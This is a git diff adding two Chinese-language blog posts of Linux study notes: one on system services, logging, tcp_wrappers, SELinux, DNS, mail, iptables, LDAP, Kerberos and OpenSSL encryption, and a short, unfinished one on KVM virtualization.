+> - 用于配置服务的运行方式
+
+- named
+- sendmail
+- dhcpd
+- samba
+- syslog
+
+### Transient 服务
+
+> - 瞬时( Transient )服务被xinetd进程所管理
+
+- 进入的请求首先被xinetd 代理
+
+- 配置文件/etc/xinetd.conf , /etc/xinetd.d/service
+
+- 用chkconfig控制的服务:
+
+ ```
+ chkconfig tftp on
+ ```
+
+### 计划任务
+
+> - 一次性计划任务
+
+- 周期性计划认任务
+ - 系统的
+ - 用户的
+- Anacron
+
+### 一次性计划任务
+
+> - 包名: atd
+
+- 命令:
+ - at
+ - batch - 当系统负载低于0.8时才运行
+- 按Ctrl+D完成
+
+**at**命令后需要跟上时间
+
+时间的表示方式:
+
+> - HH:MM
+
+- midnight - 12:00 a.m.
+- noon - 12:00 p.m.
+- teatime - 4:00 p.m.
+- MONTHDAYYEAR - 例如: January 15 2015
+- MMDDYY - 例如: 011315
+- now + TIME - now + 5 days
+
+### 周期性的计划任务
+
+> - 系统的- crontab
+
+- 用户的- crond
+ - 创建:crontab -e
+ - 查看:crontab -l
+ - 删除:crontab -r
+- Anacron运行那些在系统当机期间未执行的cron任务
+ - 假定计算机不是连续运行的
+ - 对笔记本电脑,工作站及其它非连续运行的系统来说很重要
+ - 对需要临时停机的服务器也有作用
+- 配置文件: /etc/anacrontab
+ - 字段1: 如果任务在指定的天数内没有运行
+ - 字段2: 重启后在执行任务之前需要等待多久
+ - 字段3: 任务标识符
+ - 字段4: 需要运行的任务
+
+### Rsyslog 服务
+
+**把日志集中存储在一个安全的地方, 通过日志分析系统的运行情况. Rsyslog全称”the Rocket-fast SYStem for LOG processing”,是一种应用于UNIX和Linux计算机系统在IP网络转发日志消息开源软件实用的程序。它实现了基本的syslog协议,扩展了基于内容过滤的过滤能力,丰富灵活的配置选项,并增加了诸如使用TCP传输的特点。**
+
+> - 格式: selector action
+> - selector : facility.level
+> - facility : who or what
+> - level : when
+> - action :如何处理这些信息
+
+folding cyan, Facility
+
+| Facility Number | Keyword | Facility Description |
+| --------------- | -------- | ---------------------------------------- |
+| 0 | kern | kernel messages |
+| 1 | user | user-level messages |
+| 2 | mail | mail system |
+| 3 | daemon | system daemons |
+| 4 | auth | security/authorization messages |
+| 5 | syslog | messages generated internally by syslogd |
+| 6 | Ipr | line printer subsystem |
+| 7 | news | network news subsystem |
+| 8 | uucp | UUCP subsystem |
+| 9 | | clock daemon |
+| 10 | authpriv | security/authorization messages |
+| 11 | ftp | FTP daemon |
+| 12 | | NTP subsystem |
+| 13 | | log audit |
+| 14 | | log alert |
+| 15 | cron | clock daemon |
+| 16 | local0 | local use 0 (local0) |
+| 17 | local1 | local use 1 (local1) |
+| 18 | local2 | local use 2 (local2) |
+| 19 | local3 | local use 3 (local3) |
+| 20 | local4 | local use 4 (local4) |
+| 21 | local5 | local use 5 (local5) |
+| 22 | local6 | local use 6 (local6) |
+| 23 | local7 | local use 7 (local7) |
+
+endfolding
+
+folding cyan, Level
+
+| Code | Severity | Description | General Description |
+| ---- | ------------- | ------------- | -------------------------------- |
+| 0 | Emergency | emerg(panic) | System is unusable |
+| 1 | Alert | alert | Action must be taken immediately |
+| 2 | Critical | crit | Critical conditions |
+| 3 | Error | err(error) | Error conditions |
+| 4 | Warning | warning(warn) | Warning conditions |
+| 5 | Notice | notice | Normal but significant condition |
+| 6 | Informational | info | Informational messages |
+| 7 | Debug | debug | Debug-level messages |
+
+endfolding
+
+> - 日志文件
+
+- /var/log/messages
+- /var/log/dmesg
+- /var/log/boot.log
+- /var/log/maillog
+- /var/log/secure
+- /var/log/lastlog - 记录所有用户的最近登录信息。要用lastlog命令查看
+- /var/log/btmp - 记录所有失败登录信息。用lastb命令查看
+- /var/log/wtmp - 记录正常登录系统的信息。用w命令查看
+
+### Logrotate
+
+> - /etc/logrotate.conf
+> - weekly-每周rotate–次
+> - rotate 4 -保留四个日志文件
+> - create -创建一 个新的文件来存储日志
+> - compress -保留的日志文件是否要压缩,文件太大可以启动该参数
+> - minsize 1M-日志文件容量超过1M后才进行rotate
+
+#### Logrotate 转发
+
+> - 支持三种转发形式:
+> - UDP - @IP 1.1-1.1
+> - TCP - @@IP
+> - RELP - :omrelp:(最可靠)
+
+- 启用UDP
+ - $ModLoad imudp
+ - $UDPServerRun 514
+- 启用TCP
+ - $ModLoad imtcp
+ - $InputTCPServerRun 514
+- $template TemplateName, “格式”, < options>
+- 引号模板:
+ - ? TemplateName
+
+### ntpl (Network Time Protocol)
+
+> - 时间同步使系统日志便于分析
+
+- 许多应用需要精确的时间
+- 如果没有校正，工作站的硬件时钟会随着时间逐渐产生漂移.
+- NTP通过控制- -秒的长度来抵消时钟漂移
+- NTP客户端应当配置三个时钟服务器
+- 配置文件: /etc/ntp.conf
+- 配置工具: system-config-date
+
+## Tcp-warppers
+
+
+
+### 服务和应用程序的访问控制
+
+> 服务特有的配置
+>
+> > 有些守护进程如httpd, smbd, squid等有自己的安全机制
+> > 通用配置
+> > 和libwrap.so相连接的所有程序都使用公共的配置文件
+> > 因为xinetd和libwrap.so相连接,所以它的服务也受此影响
+> > 检查主机和(或)远程用户名
+
+### tcp_ wrappers配置
+
+> - 检查访问权限的三三个步骤:
+> - 访问被明确允许.了 吗?
+> - 或者,访问被明确拒绝了吗?
+> - 或者,默认设置是允许访问!
+
+- 配置被存放在两个文件里:
+ - /etc/hosts.allow文件里保存允许的访问
+ - /etc/hosts.deny文件里保存拒绝的访问
+- 基本语法:
+ - daemon_ *list: client* list [:options]
+
+### 守护进程的说明
+
+> - 守护进程名称:
+> - 应用程序传递它们的可执行文件名称
+> - 可以制定多个服务
+> - 使用通配符ALL来匹配所有守护进程
+
+- 高级语法:
+ - daemon@host: client_list …
+
+### 宏定义
+
+> - 主机名宏定义
+> - LOCAL
+> - KNOWN, UNKNOWN, PARANOID
+
+- 主机和服务宏定义
+ - ALL
+- EXCEPT
+ - 可用于客户和服务列表
+ - 可嵌套
+- 扩展选项
+ - 语法:
+ - daemon_ list: client list [:opt1 :p2..]I
+ - spawn:
+ - can be used to start additional programs
+ - special expansions are available (%C, %s)
+ - 例如:
+ - in.telnetd: ALL : spawn echo “login attempt from %C to %s”| mail -S warning root
+ - deny:
+ - 可作为hosts.allow中的一个选项
+ - 例如:
+ - ALL: ALL: DENY
+
+## SELinux
+
+### MAC VS DAC
+
+> - DAC- Discrentionary Access Control 自主访问控制
+> - 权限
+> - 拥有者、拥有组和其它人
+
+- MAC - Mandatory Acess Control ( 强制访问控制)
+ - 基于角色:
+ - 一个组只代表一个或多个用户
+ - 一个角色可以代表多个用户,也代表一个用户集可以执行的权限
+ - 使用最小特权原则
+
+
+
+
+### SELinux - Secutiry-Enhanced Linux
+
+**基于内核级别的MAC**
+
+- SELinux是美国国家安全局( NSA= The National Security Agency )和SCC( Secure Computing Corporation )开发的Linux的一一个扩张强制访问控制安全模块。
+
+
+
+> - 所有文件和进程都具备“安全环境”( security context )
+
+- 环境包含几个元素,根据安全的需要使用不同的元素
+ - user.role:type:sensitivity:category
+ - user_ *u:object* *r:tmp* _t:s0:cO
+- 查看:
+ - ls -Z (查看文件或目录)
+ - ps -Z (查看进程)
+ - 通常和其它选项配对使用,例如-ef
+
+| 登录名 | SELinux用户 | MLS范围 | Service |
+| --------- | ------------ | -------------- | ------- |
+| *default* | unconfined_u | s0-s0:c0.c1023 | * |
+| root | unconfined_u | s0-s0:c0.c1023 | * |
+| system_ u | system_u | s0-s0:c0.c1023 | * |
+
+#### role
+
+> - object_ r -定义系统中的文件的通用的角色,必须是拥有system_ r角色的程序才能访问
+
+- system_ _r - - -般为进程的角色
+
+> - 一组叫做”策略( policy)”的规则会决定控制的严格程度
+
+- 进程要么是被限制的(restricted) ,要么是无束缚的( unconfined)
+- 策略被用来定义被限制的进程能够使用哪些资源
+- 默认情况下将拒绝没有被明确允许的行为
+
+#### Security Level
+
+> - MLS - Multi-Lever Security (多等级安全)
+
+- MLS未启用前:
+ - user_ *u:role* *r:type* t
+- MLS启用后:
+ - user:role:type:sensitivity[:category…]- sensitivity [:category…]
+- security level由两部分组成
+ - sentitivity [ :category… ]
+- sentitivity:
+ - sO
+ - s1
+ - …
+- category:
+ - c0
+ - …
+ - c1023
+
+### SELinux不能做什么?
+
+> **不能替代杀毒软件**
+> **不能替代认证机制、防火墙或其它安全系统**
+> **它不是集所有功能于一身的安全解决方案**
+
+### 启用和关闭SELinux
+
+> - 修改/etc/sysconfig/selinux
+
+- 三种模式:
+ - enforcing -启动SELinux (策略生效,支持动态切换到permissive
+ - permissive-策略不生效,相当于disabled,但是支持动态切换到enforcing ,并且访问生成日志
+ - disabled -关闭SELinux
+- 策略类型:
+ - targeted :默认策略
+ - MLS
+
+### Booleans
+
+> - Booleans :
+> - booleans允许在运行时改变SELinux策略
+> - 不必重新编译SELinux策略
+
+- 查看booleans:
+ - getsebool -a
+- 设置booleans :
+ - setsebool -P booleans_ name on|off(‘-P’:使修改值永久生效)
+
+## **DNS 服务**
+
+**DNS : Domain Name System**
+
+> - 常用的主机名称服务
+> - 文件( /etc/hosts )
+> - DNS
+
+- 早期,使用HOSTS存储主机名到IP地址的映射,由SRI (Stanford Research Institute)斯坦福研究所的NIC (网络信息中心)负责维护，各个主机通过 FTP进行更新
+
+## Bind
+
+> - 类型:系统V ( System V )管理的服务
+
+- 软件包: bind, bind-utils,bind-chroot
+- 守护进程: /usr/sbin/named
+- 脚本: /etc/init.d/named
+- 端口: 53 (domain)
+- 配置文件: /etc/named.conf, /var/named/*
+- 相关软件包: openssl
+- service named configtest
+- service named start
+- chkconfig
+- named on
+
+### 区块文件结构
+
+> - 资源记录都有五个字段) :
+> - Jomain -被查询的域或子域)
+> - ttl-记录被保存在缓存中的时间,以秒为单位
+> - class -记录类别，(通常是IN)
+> - type-记录类型,例如A或NS
+> - rdata一域映射的资源数据
+> - 从概念上讲,用户会查询domain (域名) , 而domain则映射到rdata来查找答案
+
+### SOA查询
+
+> - SOA ( Start Of Authority )记录将一 个服务器标记为主服务器
+
+- 初步观察结果
+ - 域字段叫做始发地址
+ - rdata字段被引申为支持额外数据r 下-一个演示片对此进行了解释
+ - 一般来说, -一个域通常有一 个主名称服务器,它保存数据的主要副本
+ - 域或区块的其它规范性名称服务器被称为“从服务器”,它们会将其数据与主服务器同步
+- SOA rdata
+ - 主名称服务器的FQDN
+ - 联系邮件地址
+ - 序列号码
+ - 在刷新序列号码之前刷新延迟时间
+ - 从服务器的重试间隔
+ - 当从服务器无法连接它的主服务器时，记录会过期
+ - 否定性答复(“no such host”)的TTL最小值
+
+| 记录类型 | 说明 |
+| -------- | ---------------------- |
+| A | 主机地址记录 |
+| CNAME | 别名 |
+| MX | 接收邮件的服务器主机名 |
+| NS | 域名服务器 |
+| PTR | 反向查询记录 |
+| SOA | 该区域数据的授权机构 |
+
+### DNS 主从
+
+> - 从区块说明
+
+```
+zone "example.com"
+{
+ type slave;
+ masters { mymasters; };
+ file "slaves/example.com.zone";
+};
+```
+
+- 示范性区块说明:
+ - 只想根据master选项中的主机的区块文件传送( AXFR和IXFR )
+ - 将传送到的数据保存在/var/named/slaves/example.com.zone
+ - 重载named自动创建文件
+
+### 访问控制列表(ACL)
+
+> - 简单的说，ACL将一个名称分配给一个地址匹配列表
+
+- 一般可以用来代替匹配列表(允许嵌套! )
+- 最好的办法是在/etc/named.conf文件的开始处定义ACL
+- 声明示例
+ - acly”trusted {192.168.1.21; }
+ - acl “classroom” { 192.168.0.0/24; trusted;};
+ - acl “cracker” { 192.168.1.0/24; };
+ - acl “mymasters” { 192.168.0.254; };
+ - acl “myaddresses” { 127.0.0.1; 192.168.0.1; };
+- 内置ACL
+ - BIND预定义了几个ACL:
+ - none - 不匹配任何IP地址
+ - any - 匹配所有IP地址
+ - localhost - 匹配名称服务的任何IP地址
+
+## chroot
+
+## bind-chroot软件包
+
+> - 在/var/named/chroot中安装chroot环境
+
+- 将现有的配置文件转移到chroot环境
+- 更新/etc/sysconfig/named文件中named选项:
+ - ROOTDIR=/var/named/chroot
+- 提示
+ - 安装了bind-chroot软件包后查看/etc/sysconfig/named
+ - 启动了named后运行ps -ef| grep named来校验启动选项
+
+## FTP 服务
+
+
+
+### FTP软件
+
+> - Vsftpd - Very Secure FTP Daemon
+> - 非常安全
+
+- Pureftpd - the Pure FTP Daemon
+ - 轻量级的
+ - 快速的
+ - 安全的口
+- Proftpd - the Popular FTP Daemon
+ - 配置简单
+ - 支持虚拟主机
+- Ncftpd
+ - 高性能的
+
+### 文件传输协议(FTP) - vsftpd
+
+> - vsftpd -红帽企业版及普华Linux的默认ftp服务器
+> - 不再由xinetd,管理，
+> - 允许系统、匿名或虚拟(仅用于FTP服务)用户的访问
+> - 匿名目录层次结构由vsftpd RPM提供
+> - /etc/vsftpd/vsftpd.conf是主配置文件
+
+### NFS
+
+**NFS一Network File System**
+**允许网络中的计算机之间通过TCP/IP网络共享资源**
+
+**RPC- Romote Procedure Call**
+**该协议允许运行于一台计算机的程序调用另一台计算机的子程序**
+
+> - 类型:系统 V(System V)
+
+- 软件包: nfs-utils
+- 守护进程: rpc.nfsd, rpc.lockd, rpciod, rpc.mountd, rpc.rquotad, rpc.statd
+- 脚本: /etc/init.d/nfs, /etc/init.d/nfslock
+- 端口:2049(nfsd)
+- 配置文件: /etc/exports
+- 相关软件包: tcp_ wrappers
+
+### 用于防火墙的端口选项
+
+> - mountd, statd和lockd可以被强制使用一个静态端口
+
+- 在/etc/sysconfig/nfs中设置MOUNTD_ PORT、STATD_ PORT LOCKD_ TCPPORTHE和LOCKD_ UDPPORT变量
+ - MOUNTD_ PORT=”4002”
+ - STATD_ PORT= “4003”
+ - LOCKD_ TCPPORT= “4004”
+ - LOCKD_ UDPPORT= “4004”
+
+## WEB 服务
+
+**Aparch**
+
+### 服务侧写: httpd
+
+> - 类型:系统V(SystemV)管理服务
+
+- 软件包: httpd , httpd-devel , httpd-manual
+- 守护进程: /usr/sbin/httpd
+- 脚本: /etc/init.d/httpd
+- 端口: 80(http)、443 ( https )
+- 配置: /etc/httpd/* , /var/www/*
+- 相关软件包: mod_ _ssl
+
+### 邮件服务
+
+> - MTA - Mail Transfer Agent
+
+- MDA - Mail Delivery Agent
+- MUA一Mail User Agent
+- MRA一Mail Retiveral Agent
+
+
+
+> - 安装:
+> - Sendmail
+> - Postfix
+
+- 基本配置
+- 监听的接口
+- 测试
+
+### SMTP命令
+
+> - HELO连接者的主机名
+
+- EHLO连接者的主机名( 使用ESMTP )
+- MAIL FROM:
+- RCPT TO:
+- SIZE=bytes (指定发送邮件的大小)
+- DATA
+- QUIT
+- VRFY username
+
+### SMTP限制
+
+> - 在/etc/mail/sendmail.mc中启用,使用
+>
+> ```
+> FEATURE(blacklist recipients')dnl
+> ```
+
+- 在/etc/mail/access中添加限制
+
+ ```
+ From:90trialspammer@aol.com REJECT
+ Connect:spamRus.net REJECT
+ Connect:204.168.23 REJECT
+ Connect:10.3 OK
+ From:virtualdomain1.com RELAY
+ To:user@dom9.com ERROR:550 mail discarded
+ To:nobody@ ERROR:550 bad name
+ ```
+
+### 服务侧写: dovecot
+
+> - 类型:系统V管理的服务
+
+- 软件包: dovecot
+- 守护进程: /usr/sbin/dovecot口
+- 脚本: /etc/init.d/dovecot 0
+- 端口: 110 (pop), 995 (pop3s), 143 (imap), 993 (imaps)
+- 配置: /etc/dovecot/dovecot.conf, /etc/dovecot/conf.d/
+- 相关软件包: procmail, fetchmail, openssl
+
+## 防火墙
+
+### 防火墙功能
+
+> - 内容过滤(元数据的过滤,内容过滤)
+
+- NAT
+- 状态检测
+- Qos
+- 一体化:
+ - VPN
+ - IPS(入侵检测)
+ - AV (防毒墙)
+
+### Iptable
+
+
+
+### Netfilter
+
+> 在内核中过滤:无守护进程
+> 在OSr参考模型(OSIReferenceModel)的第2、3、4层插入策略
+> 只查看数据包标题
+> 由内核中的netfilter 模块和iptables用户空间软件
+> mangle: 用于对数据包相关字段的修改,如设置TOS、TTL
+> nat: 只用于NAT转换时的访问控制
+> filter: 默认表,用于一般的过滤
+
+
+
+### Netfilter
+
+
+
+```
+iptable -t filter -A INPUT -s 192.168.0.1 -j DROP
+# -t: 指定表
+# -A: 添加策略
+# -s: 指定源地址
+# -j: 跳转
+```
+
+#### 规则目标
+
+> - 内置自标: DROP, ACCEPT
+
+- 扩展目标: LOG, REJECT,定制链( custom chain )
+- REJECT给发送者返回-个通知
+- LOG连接系统日志内核工具
+- LOG匹配不会从链中退出
+- 目标是可选的,但是每条规则最多只能有一个目标,如没有目标,就默认使用链的策略
+
+#### 匹配规则
+
+> - 按顺序配列的规则
+
+- 按规则顺序测试数据包
+- 首次匹配后会评估目标:通常退出链
+- 规则可以指定多个匹配条件
+- 必须满足规则说明中的每个条件才算是匹配(逻辑AND )
+- 如果无匹配规则应用链策略
+
+### SNAT
+
+> - MASQUERADE
+> - iptables -t nat -A POSTROUTING -0 eth0 -j MASQUERADE
+
+- SNAT
+ - iptables -t nat -A POSTROUTING j SNAT –to-source 1.2.3.45
+
+### /etc/passwd
+
+| 字段 | 含义 | 说明 |
+| ---- | --------- | ------------------------------------------------------------ |
+| 1 | 用户名 | 是uid的字符串标记方式 |
+| 2 | 密码 | 在旧的unix系统中，该字段是用户加密后的密码，现在已经不再使用，而是将密码放在/etc/shadow中，所以此处都只是一个字母X |
+| 3 | UID | 系统用来区分不同用户的整数 |
+| 4 | GID | 系统用来区分不同用户组的整数 |
+| 5 | 说明栏 | 类似于“注释” |
+| 6 | 家目录 | 用户登录后，默认所处的目录，即家目录 |
+| 7 | 登录SHELL | 用户登录后，所使用的SHELL |
+
+### /etc/shadow
+
+| 字段 | 含义 | 说明 |
+| ---- | ------------------------ | ----------------------------------------------------------- |
+| 1 | 用户名 | 是VID的字符串标记方式 |
+| 2 | 密码 | 经过如密后的密码 |
+| 3 | 密码的最近修改日 | 这个数字是从1970年1月1号至密码修改日的天数 |
+| 4 | 密码不可修改的天数 | 修改密码后，几天后不可修改密码，如果是0，意味着随时可以修改 |
+| 5 | 密码重新修改的天数 | 密码什么时候过期 |
+| 6 | 密码失效前提前警告的天数 | 设定密码过期前提前几天开始提醒 |
+| 7 | 密码失效宽限天数 | 密码过期后多少天，密码将失效 |
+| 8 | 账号失效日期 | 这个数字是从1970年1月1号至账号失效日的天数 |
+| 9 | 保留字段 | 预留 |
+
+## 集中认证
+
+> - 集中认证产品
+> - LDAP - AD , IPA, Oracle/IBM Directory Server
+> - NIS
+> - SAMBA
+> - LDAP + kerberos
+> - radius
+> - …
+
+### LDAP
+
+**Lightweight Directory Access Protocol (轻量型目录访问协议)**
+
+> - 目录是一-个特殊的数据摩,通常存储一-些小的信息
+
+- 例子:
+ - 电话簿是- -个存储名字和电话的目录
+ - DNS是一个存储主机名与IP的目录
+ - NIS是- -个存储了系统信息,用户名和密码,还有email地址等的目录
+- 使用目录服务
+ - 查寻email地址和联系人信息
+ - 管理和同步用户信息
+ - 可以被其它网络服务使用
+ - 存储和查找其它相关的信息
+- LDIF
+ - 一个标准的基于文本格式的文件,描述目录条目
+ - 一个条目由一-列属性组成，每一行一个属性
+ - dn,是一个条目独一的名字，必须位于第一行
+ - 条目与条目之间用空行来分隔
+
+### Sample Entry in LDIF Form
+
+> - dn: uid=bjensen, ou=people, dc=example, dc=com
+
+- objectclass: top
+- objectclass: person
+- objectclass: organi zationalPerson
+- objectclass: inetOrgPerson
+- cn:Barbara Jensen
+- cn: Barb Jensen
+- sn: Jensen
+- uid: bjensen
+- mail: bj ensen@example . com
+- telephoneNumber: +1 919 754 3700
+- postalAddress: Example， Inc.$123 Main
+- Street$Any Town, NC 12345$USA
+- title: Account Manager
+
+#### 目录Schema
+
+> - attribute types :规定属性的值的格式化,以及怎么比较相同类型的两个属性
+
+- object classes :代表的一类相似的对象,规定哪些属性是必须的,哪些是可选的
+
+#### Objects Classes
+
+> - 一个object class组织相关的信息
+> - 定义了哪些属性是强制的,必须的
+> - objectclass属性定义了一个条目属于哪些object classes
+
+- 有两种类型的object classes
+ - 一个条目必须有一个structural object class
+ - 一个条目可以有一 个或多个auxiliary object classes
+
+## Kerberos
+
+### 安全网络认证系统
+
+> - 有三个参与者:
+> - Key Distribution Centor ( KDC )
+> - 网络服务
+> - 客户端用户
+
+### 初始化认证
+
+> - 用户输入用户名和密码
+
+- 登录程序向KDC请求TGT
+- KDC发送给登录程序-一个用用户的密码加密的TGT
+- 如果登录程序能用用户输入的密码解密TGT ,用户就被成功认证
+
+### 票据认证
+
+> - 客户端向KDC发送访问服务所需要的票据的请求
+
+- KDC发送给客户端两个相同的副本
+ - 一个是用TGT加密的副本
+ - 一个是用服务的密码加密的副本
+- 客户端发送给网络服务
+ - 一个是用服务的密码加密的副本
+ - 一个是用票据加密的时间戳
+
+### 标识参与者
+
+> - 标识用户和网络服务
+> - 使用primary , instance和realm
+
+- 格式: primary/instance@realm
+- 例子:
+ - student@ABC. COM
+ - user1/admin@ ABC.COM
+ - host/server1.abc.com@ ABC.COM
+ - nfs/[host.abc.com@ABC.COM ](mailto:host.abc.com@ABC.COM)
+
+## 目录服务 IPA
+
+> - IPA:是一个集成解决方案
+> - Identity , Policy yand Audit
+
+- IPA使用以下组件:
+ - Red HatIDirectory Server
+ - MIT kerberos
+ - NTP
+ - BIND
+ - Web Management Tools
+ - IPA command-line Tools
+
+## 数据安全
+
+### 随机数发生器
+
+### 熵
+
+> - 熵-用于描述系统混乱无序程序的物理量
+> - **熵越大,不确定性越大**
+
+- 内核维护了一个熵池用来收集来自设备驱动程序和其它来源的环境噪音
+- 内核提供来源:
+ - /dev/random - 会阻塞,耗时长,但安全
+ - /dev/urandom - 不会阻塞,需要借助键盘或鼠标等事件,随机程度不高,适合生成较低强度的密码
+
+### 单向散列
+
+**单项散列函数,又叫hash函数, 是一种将任意长度的数据缩小成固定长度指纹的一种方法**
+
+#### 特性 - 确定性
+
+如果两个散列值是不相同的(根据同- -函数) ,那么这两个散列值所对应的原始输入也是不同的
+
+### 常见算法
+
+MD2，MD5，MDC2,RMD160,SHA,SHA1
+
+#### 常见工具
+
+> - shalsum [ –check ] file
+
+- md5sum [ –check ] file
+- openssl
+- gpg
+- rpm -V
+
+#### 应用场合
+
+- 数据完整性检查
+- 按照关键字查找数据记录
+
+单项散列是不能取代**对称加密**和**不对称加密**,它们是互补的
+
+对称加密
+
+加密数据和解密数据, 基于同一个KEY
+
+优点: 相比不对称加密,效率高
+缺点: 相比不对称加密,安全性差
+
+### 常用算法:
+
+DES, 3DES , Blowfish, RC2 , RC4, RC6 ,IDEA, CAST5
+
+#### 常见工具
+
+- passwd
+- gpg ( 3DES , CAST5 , Blowfish)
+- openssl
+
+#### 应用
+
+信息量的数据, 一般用对称加密
+对称加密和非对称加密常会结合使用
+
+### 不对称加密
+
+- 又叫公开密钥加密,是指一对加密密钥与解密密钥,用密码对当中的一个加密，必须是另一个密钥才能解密。公开的密钥为公钥,不公开的密钥叫私钥。
+- 如果加密密钥公开,这用于客户给私钥所有者.上传加密的数据,这被称作公开
+ 密钥加密。
+- 如果解密密钥公开,用私钥加密的信息,可以用公钥对其解密，由于客户验证持有私钥- -方发布的数据或文件是可靠的,接收者由此可知这条信息确实来自于拥有私钥的某人,这被称做**数字签名**。
+
+#### 常见算法
+
+> - RSA
+
+- DSA
+- EIGamal
+- ECC
+- Deffie-Hallman中的公钥加密算法
+
+### GnuPG
+
+**PGP - Pretty Good Privacy**
+
+- 是PGP公司开发的加密签名工具套件
+- openGPG是最广泛使用的email加密工具，最初是基于PGP开发的
+
+#### **对称加密**
+
+- gpg -C filename
+- gpg -0 filename1 -d filename.gpg
+
+#### **不对称加密**
+
+- gpg –gen-key
+- gpg –list-keys
+- gpg –export –armor filename
+- gpg –import filename
+- gpg -e –armor-r filename
+
+#### **数字签名和加密**
+
+- gpg -sea -r filename
+- gpg -d filename.asc
+
+### PKI
+
+**PKI - Public Key Infrastructure(公钥基础设施),是一套创建、存储、分发用于验证公钥的数字证书系统**
+
+#### PKI组件
+
+- CA- Certificate Authority
+- RA - Registration Authority
+- 最终用户
+
+### 数字证书
+
+- 用于认证
+- 将公司、个人和公钥绑定
+- 由CA颁发或自行签发证书
+
+
+
+### X.509
+
+X.509是PKI中针对证书格式、证书吊销列表和授权证书等所制定的标准
+
+> - 所包含的内容:
+> - 版本
+> - 序列号
+> - 算法ID
+> - 发行者
+> - 有效期
+> - 主题
+> - 证书签名
+> - 证书签名算法
+
+### SSL
+
+**SSL- Secure Sockets Layer**是一种安全协议,是Netscape公司在推出WEB浏览器首款时提出的,为网络通信提供数据安全及数据完整性。
+
+工作在OSI的第六层.
+
+- 优势:它是与第七层的应用层协议独立的,高层的应用层协议能透明的建立于SSL协议之上
+
+#### TLS和SSL
+
+- IETF将SSL做了标准化,即RFC2246,并将其称为TLS
+- TLS - Transport Layer Security
+- 从技术上, TLS和SSL相差不大
+
+
+
+#### TLS和SSL握手协议
+
+
+
+#### SSL应用
+
+- SSH
+- HTTPS
+- IMAPS
+- POP3S
+
+### Openssl
+
+**OpenssI是一个开源的SSL/TLS协议的实现工具,能用于生成keys或者加密解密数据,也能创造和管理X. 509数字证书。**
+
+> - 加密
+> - openssI enc-des3 -salt - -a -in plaintext - -out ciphertext.des3
+
+- 解密
+ - openssI enc-d -des3 - salt -a -in ciphertext.des3 - out plaintext
+
+**单项散列**
+
+> - 命令
+> - openssl agst- -sha1 /boot/grub/grub.conf
+> - openssl passwd -1
+
+**生成RSA公钥和私钥**
+
+> - 生成不加密的私钥
+> - Openssl genrsa > somename.key
+
+- 生成加密的私钥
+ - OpenssI genrsa -aes128 2048 > somename.key
+- 生成公钥
+ - OpenssI rsa -in somename.key -pubout - -out public.key
+
+**不对称加解密**
+
+> - 加密
+> - openssl rsautl -encrypt -pubin -inkey public.key -in plaintext -out encrypted.txt
+
+- 解密
+ - openssI rsautl -decrypt -inkey private.key - -in encrypted.txt -out plaintext.txt
+
+**生成CSR文件**
+
+> - 命令
+> - openssI req -new -key somfile.key -out somefile.csr
+
+#### 撤销证书
+
+> - 命令
+> - openssI ca -revoke stolen.crt
\ No newline at end of file
diff --git a/source/_posts/cloud_linux_4.md b/source/_posts/cloud_linux_4.md
new file mode 100644
index 0000000..796906a
--- /dev/null
+++ b/source/_posts/cloud_linux_4.md
@@ -0,0 +1,150 @@
+---
+title: 云计算 - Linux开源虚拟化KVM
+date: 2023-04-19 10:30
+tags: [云计算, 笔记]
+categories: 笔记
+thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg"
+---
+
+
+
+## 虚拟化概述
+
+### 虚拟化的定义
+
+> - 在计算技术中, 虚拟化意味着创建设备或资源的虚拟版本,如服务器、存储设备、网络或者操作系统等等..
+
+- 虚拟化技术
+ - 系统虚拟化
+ - 这种虚拟化通常表现为在单一系统上运行多个操作系统
+ - 这些虚拟操作系统同时运行,每个操作系统又是相互独立
+ - 存储虚拟化
+ - 网络虚拟化
+ - GPU虚拟化
+ - 软件虚拟化
+ - 硬件支持虚拟化
+- 纯软件仿真
+ - 通过模拟完整的硬件环境来虚拟化来宾平台。
+ - 模拟X86、ARM、PowerPC等多种CPU
+ - 效率比较低
+ - 产品或方案
+ - QEMU、Bochs、 PearPC
+
+### 虚拟化层翻译
+
+> - 多数的虚拟化而采用虚拟机管理程序Hypervisor
+
+- Hypervisor是一个软件层或子系统
+ - 也称为VMM ( Virtual Machine Monitor ,虚拟机监控器)
+- 允许多种操作系统在相同的物理系统中运行
+- 控制硬件并向来宾操作系统提供访问底层硬件的途径
+- 向来宾操作系统提供虚拟化的硬件
+
+
+
+#### 无硬件辅助的全虚拟化
+
+> - Full Virtualization without Hardware Assist
+
+- 基于二进制翻译的全虚拟化
+- Full Virtualization with Binary Translation
+- Hypervisor运行在Ring 0
+- Guest OS运行在Ring 1
+- 机制:异常、捕获、翻译
+- 示例:
+ - VMware Workstation
+ - QEMU
+ - VirtualPC
+
+#### 半虚拟化Para virtualization
+
+> - 也称为:超虚拟化、操作系统辅助虚拟化
+
+- Hypervisor运行Ring 0
+- Guest OS不能直接运行在Ring 0 , 需要对Kernel进行修改,将运行在Ring 0上的,指令转为调用Hypervisor
+- Guest OS.上的APP运行在Ring 3
+- 示例:Xen
+
+#### 硬件辅助的全虚拟化
+
+> - Full Virtualization with Hardware Assist
+
+- Intel VT和AMD-V创建一个 新的Ring -1单独给Hypervisor使用
+- Guest OS可以直接使用Ring 0而无需修改
+- 示例:
+ - VMware ESXi
+ - Microsoft Hyper-V
+ - Xen3.0
+ - KVM
+
+### LXC和Docker
+
+> - 一种轻量级/操作系统虚拟化方式，由Linux内核支持
+
+- 起源: chroot系统调用,对当前程序及其子进程改变根目录
+- 优势:
+ - 更快速的交付和部署
+ - 更高效的虚拟化
+ - 更轻松的迁移和扩展
+ - 更简单的管理
+
+| 特性 | 容器 | 虚拟机 |
+| ---------- | ------------------ | ---------- |
+| 启动 | 秒级 | 分钟级 |
+| 硬盘使用 | 般为MB | 般为GB |
+| 性能 | 接近原生 | 弱于 |
+| 系统支持量 | 单机支持上千个容器 | 一般几十个 |
+
+## KVM安装
+
+> - CPU必须支持虚拟化技术,在BIOS设置为启动
+
+- 目前,多数服务器基础桌面计算机均处理启用状态.
+
+> - “嵌套”式实验环境
+> - 在虚拟机中再做虚拟化
+
+- VMware嵌套虚拟化
+ - 产品: Workstation、 Player、 ESXi
+ - 支持: ESXi、 Hyper-V、 KVM、Xen
+- KVM嵌套虚拟化
+ - 支持: ESXi、Hyper-V、 KVM、Xen
+
+
+
+### 实验环境准备
+
+> - “嵌套” 式实验环境
+> - VMware Workstation Player或VMware Workstation
+> - 创建虚拟机,在此虚拟机上安装KVM
+
+
+
+// TODO: 待补充
+
